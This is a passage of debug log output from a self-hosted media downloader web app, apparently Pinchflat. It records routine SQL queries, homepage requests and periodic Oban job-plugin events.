o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:30:56.187 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:56.188 [debug] QUERY OK source="media_items" db=1.0ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:30:56.190 [debug] QUERY OK source="media_items" db=1.2ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:30:56.191 [debug] QUERY OK source="media_items" db=0.9ms idle=5.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:30:56.192 [debug] QUERY OK source="sources" db=0.4ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:30:56.193 [info] Sent 200 in 15ms 22:30:56.326 [info] GET / 22:30:56.326 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:30:56.327 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=139.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.328 [debug] QUERY OK source="media_profiles" db=0.3ms idle=138.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:30:56.328 [debug] QUERY OK source="sources" db=0.2ms idle=137.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:30:56.330 [debug] QUERY OK source="media_items" db=1.2ms queue=0.4ms idle=137.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:56.330 [debug] QUERY OK source="media_items" db=0.5ms idle=138.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:56.331 [debug] QUERY OK source="settings" db=0.6ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.332 [debug] QUERY OK source="settings" db=0.4ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.333 [debug] QUERY OK source="settings" db=0.2ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.334 [debug] QUERY OK source="tasks" db=0.2ms queue=0.2ms idle=3.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:30:56.335 [debug] QUERY OK source="media_items" db=0.3ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:56.337 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:30:56.339 [debug] QUERY OK source="media_items" db=1.4ms idle=5.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:30:56.341 [debug] QUERY OK source="media_items" db=1.4ms idle=6.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:30:56.343 [debug] QUERY OK source="sources" db=1.3ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:30:56.345 [info] Sent 200 in 18ms 22:31:00.640 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:16.057 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:46.059 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.642 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:16.061 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:46.063 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.646 [info] {"source":"oban","duration":1861,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:16.065 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:34.726 [info] GET / 22:33:34.726 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:33:34.727 [debug] QUERY OK source="settings" db=1.0ms idle=1070.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:34.728 [debug] QUERY OK source="media_profiles" db=0.6ms idle=1071.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:33:34.729 [debug] QUERY OK source="sources" db=0.1ms queue=0.2ms idle=1072.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:33:34.730 [debug] QUERY OK source="media_items" db=0.8ms idle=1072.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:33:34.730 [debug] QUERY OK source="media_items" db=0.4ms idle=832.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:33:34.731 [debug] QUERY OK source="settings" db=0.8ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:34.732 [debug] QUERY OK source="settings" db=0.4ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:34.733 [debug] QUERY OK source="settings" db=0.5ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:33:34.734 [debug] QUERY OK source="tasks" db=0.2ms idle=3.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:33:34.734 [debug] QUERY OK source="media_items" db=0.4ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:33:34.735 [debug] QUERY OK source="media_items" db=0.8ms idle=3.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:33:34.737 [debug] QUERY OK source="media_items" db=0.9ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:33:34.737 [debug] QUERY OK source="media_items" db=0.7ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:33:34.738 [debug] QUERY OK source="sources" db=0.1ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:33:34.740 [info] Sent 200 in 13ms 22:33:46.067 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.647 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:16.069 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:46.071 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.649 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:16.073 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:46.075 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.651 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:16.077 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:46.079 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.652 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:16.081 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:46.083 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.653 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:16.085 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:46.087 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.654 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:16.090 [info] {"source":"oban","duration":1857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:46.092 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.655 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:16.094 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:46.096 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.656 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:16.098 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:46.100 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.657 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:16.101 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:46.103 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.658 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:16.105 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:46.107 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.659 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:16.109 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:46.111 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.660 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:16.113 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:46.114 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.661 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:16.116 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:46.118 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.662 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:16.121 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:46.123 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.663 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:16.125 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:46.127 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.664 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:16.129 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:46.131 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:48.873 [info] GET / 22:49:48.873 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:49:48.874 [debug] QUERY OK source="settings" db=0.5ms idle=1216.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:48.874 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1216.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:49:48.875 [debug] QUERY OK source="sources" db=0.2ms idle=1217.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:49:48.876 [debug] QUERY OK source="media_items" db=0.8ms queue=0.3ms idle=1217.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:49:48.876 [debug] QUERY OK source="media_items" db=0.3ms idle=915.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:49:48.877 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:48.877 